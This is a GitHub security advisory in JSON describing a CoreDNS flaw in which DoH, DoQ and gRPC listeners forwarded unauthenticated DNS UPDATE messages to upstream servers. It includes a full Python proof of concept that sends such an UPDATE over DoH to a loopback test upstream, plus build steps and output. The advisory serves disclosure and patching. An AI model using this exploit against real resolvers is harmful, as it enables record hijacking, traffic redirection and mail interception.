1 line
13 KiB
JSON
1 line
13 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-9gm5-9rfh-m6vx","published":"2026-09-17T20:33:05Z","modified":"2026-09-28T17:10:39.451316465Z","aliases":["CVE-2026-86003","GO-2026-6506"],"summary":"CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP","details":"### Summary\n\nCoreDNS accepted [RFC 2136](https://datatracker.ietf.org/doc/html/rfc2136) UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch.\n\nIf an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records.\n\n### Details\n\nThe affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server:\n\n- [DoH and DoH3](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155)\n- [DoQ](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219)\n- [DNS-over-gRPC](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184)\n\nCoreDNS routed the message using its Zone question without checking the opcode. [`forward`](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/forward/forward.go#L113-L118) then passed the original message to the [upstream](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/proxy/connect.go#L150-L167).\n\nBy contrast, [`dns.DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) allows only QUERY and NOTIFY. The fix applies that policy to the raw header via [`dnsutil.UnpackRequest`](https://github.com/coredns/coredns/blob/530b0a5ff2ad68cc0421f10dd93568945cc671c9/plugin/pkg/dnsutil/message.go#L13-L23) before any affected transport dispatches the request.\n\n### PoC\n\nThe reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server.\n\nClone the repository and build the server:\n\n```bash\ngit clone git@github.com:coredns/coredns.git\ncd coredns\ngit checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main\ngo build -tags=grpcnotrace -o coredns .\n```\n\nSave this as `Corefile.poc`:\n\n```text\nhttps://.:8053 {\n bind 127.0.0.1\n tls plugin/tls/test_cert.pem plugin/tls/test_key.pem\n forward . 127.0.0.1:15354\n}\n```\n\nSave this as `poc.py`:\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport http.client\nimport queue\nimport socket\nimport ssl\nimport struct\nimport threading\n\n\nOPCODE_UPDATE = 5\nTYPE_A = 1\nCLASS_IN = 1\n\n\ndef encode_name(name):\n return b\"\".join(bytes((len(label),)) + label.encode() for label in name.rstrip(\".\").split(\".\")) + b\"\\x00\"\n\n\ndef update_message():\n zone = encode_name(\"example.com.\") + struct.pack(\"!HH\", 6, CLASS_IN)\n update = (\n encode_name(\"foo.example.com.\")\n + struct.pack(\"!HHIH\", TYPE_A, CLASS_IN, 300, 4)\n + socket.inet_aton(\"192.0.2.123\")\n )\n header = struct.pack(\"!HHHHHH\", 0x1234, OPCODE_UPDATE << 11, 1, 0, 1, 0)\n return header + zone + update\n\n\ndef read_name(message, offset):\n labels = []\n end = None\n seen = set()\n while True:\n if offset >= len(message) or offset in seen:\n raise ValueError(\"invalid DNS name\")\n seen.add(offset)\n length = message[offset]\n if length & 0xC0 == 0xC0:\n if offset + 1 >= len(message):\n raise ValueError(\"truncated compression pointer\")\n if end is None:\n end = offset + 2\n offset = ((length & 0x3F) << 8) | message[offset + 1]\n continue\n offset += 1\n if length == 0:\n return \".\".join(labels) + \".\", end if end is not None else offset\n if length & 0xC0 or offset + length > len(message):\n raise ValueError(\"invalid DNS label\")\n labels.append(message[offset : offset + length].decode(\"ascii\"))\n offset += length\n\n\ndef question_end(message, count):\n offset = 12\n for _ in range(count):\n _, offset = read_name(message, offset)\n offset += 4\n if offset > len(message):\n raise ValueError(\"truncated question\")\n return offset\n\n\ndef parse_update(message):\n _, flags, qdcount, _, nscount, _ = struct.unpack_from(\"!HHHHHH\", message)\n if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1:\n return None\n offset = question_end(message, qdcount)\n name, offset = read_name(message, offset)\n rrtype, rrclass, ttl, rdlength = struct.unpack_from(\"!HHIH\", message, offset)\n offset += 10\n rdata = message[offset : offset + rdlength]\n if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4:\n return None\n return name, ttl, socket.inet_ntoa(rdata)\n\n\ndef response_for(message):\n ident, flags, qdcount, _, _, _ = struct.unpack_from(\"!HHHHHH\", message)\n end = question_end(message, qdcount)\n response_flags = flags | 0x8000\n return struct.pack(\"!HHHHHH\", ident, response_flags, qdcount, 0, 0, 0) + message[12:end]\n\n\ndef handle_message(message, peer, received):\n try:\n update = parse_update(message)\n response = response_for(message)\n except (ValueError, struct.error):\n return None\n if update is not None:\n received.put((peer, update))\n return response\n\n\ndef serve_udp(sock, received, stopped):\n while not stopped.is_set():\n try:\n message, peer = sock.recvfrom(65535)\n except socket.timeout:\n continue\n except OSError:\n return\n response = handle_message(message, peer, received)\n if response is not None:\n sock.sendto(response, peer)\n\n\ndef recv_exact(connection, size, stopped):\n data = bytearray()\n while len(data) < size and not stopped.is_set():\n try:\n chunk = connection.recv(size - len(data))\n except socket.timeout:\n continue\n if not chunk:\n return None\n data.extend(chunk)\n return bytes(data) if len(data) == size else None\n\n\ndef serve_tcp(sock, received, stopped):\n while not stopped.is_set():\n try:\n connection, peer = sock.accept()\n except socket.timeout:\n continue\n except OSError:\n return\n with connection:\n connection.settimeout(0.1)\n while not stopped.is_set():\n length = recv_exact(connection, 2, stopped)\n if length is None:\n break\n message = recv_exact(connection, struct.unpack(\"!H\", length)[0], stopped)\n if message is None:\n break\n response = handle_message(message, peer, received)\n if response is not None:\n connection.sendall(struct.pack(\"!H\", len(response)) + response)\n\n\ndef send_doh(host, port, payload, timeout):\n context = ssl._create_unverified_context()\n connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context)\n try:\n connection.request(\n \"POST\",\n \"/dns-query\",\n body=payload,\n headers={\"Content-Type\": \"application/dns-message\"},\n )\n response = connection.getresponse()\n body = response.read()\n return response.status, len(body)\n finally:\n connection.close()\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH\")\n parser.add_argument(\"--host\", default=\"127.0.0.1\")\n parser.add_argument(\"--port\", type=int, default=8053)\n parser.add_argument(\"--upstream-host\", default=\"127.0.0.1\")\n parser.add_argument(\"--upstream-port\", type=int, default=15354)\n parser.add_argument(\"--timeout\", type=float, default=2.0)\n parser.add_argument(\"--expect\", choices=(\"forwarded\", \"blocked\", \"either\"), default=\"either\")\n args = parser.parse_args()\n\n received = queue.Queue()\n stopped = threading.Event()\n udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n udp_sock.settimeout(0.1)\n udp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n tcp_sock.settimeout(0.1)\n tcp_sock.bind((args.upstream_host, args.upstream_port))\n tcp_sock.listen()\n threads = [\n threading.Thread(target=serve_udp, args=(udp_sock, received, stopped), daemon=True),\n threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),\n ]\n for thread in threads:\n thread.start()\n\n payload = update_message()\n try:\n status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)\n try:\n peer, update = received.get(timeout=args.timeout)\n except queue.Empty:\n peer = update = None\n finally:\n stopped.set()\n udp_sock.close()\n tcp_sock.close()\n for thread in threads:\n thread.join(timeout=1)\n\n print(\"payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\" % len(payload))\n print(\"http_status=%d response_bytes=%d\" % (status, response_bytes))\n if update is None:\n result = \"blocked\"\n print(\"upstream_received_update=false\")\n else:\n result = \"forwarded\"\n name, ttl, address = update\n print(\"upstream_received_update=true source=%s:%d\" % peer)\n print(\"upstream_record=%s %d IN A %s\" % (name, ttl, address))\n print(\"result=%s\" % result)\n\n if args.expect != \"either\" and args.expect != result:\n raise SystemExit(\"expected %s, got %s\" % (args.expect, result))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\nStart the vulnerable revision:\n\n```sh\n./coredns -conf Corefile.poc\n```\n\nIn a second terminal, run the probe:\n\n```console\n$ python3 poc.py --expect forwarded\npayload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=200 response_bytes=29\nupstream_received_update=true source=127.0.0.1:52391\nupstream_record=foo.example.com. 300 IN A 192.0.2.123\nresult=forwarded\n```\n\nThe ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.\n\nFor comparison, build and start CoreDNS with the fix:\n\n```sh\ngit checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main\ngo build -tags=grpcnotrace -o coredns-fixed .\n./coredns-fixed -conf Corefile.poc\n```\n\nThe same probe is rejected before reaching the synthetic upstream:\n\n```console\n$ python3 poc.py --expect blocked\npayload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123\nhttp_status=400 response_bytes=16\nupstream_received_update=false\nresult=blocked\n```\n\n### Impact\n\nExploitation requires all of the following:\n\n- an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener\n- the selected `proxy`/`forward` target accepts RFC 2136 UPDATE\n- the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG\n\nThe upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.","affected":[{"package":{"name":"github.com/coredns/coredns","ecosystem":"Go","purl":"pkg:golang/github.com/coredns/coredns"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.14.7"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.14.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9gm5-9rfh-m6vx/GHSA-9gm5-9rfh-m6vx.json"}}],"references":[{"type":"WEB","url":"https://github.com/coredns/coredns/security/advisories/GHSA-9gm5-9rfh-m6vx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86003"},{"type":"WEB","url":"https://github.com/coredns/coredns/commit/530b0a5ff2ad68cc0421f10dd93568945cc671c9"},{"type":"PACKAGE","url":"https://github.com/coredns/coredns"},{"type":"WEB","url":"https://github.com/coredns/coredns/releases/tag/v1.14.7"}],"database_specific":{"cwe_ids":["CWE-441"],"github_reviewed":true,"github_reviewed_at":"2026-09-17T20:33:05Z","nvd_published_at":"2026-09-16T19:17:51Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} |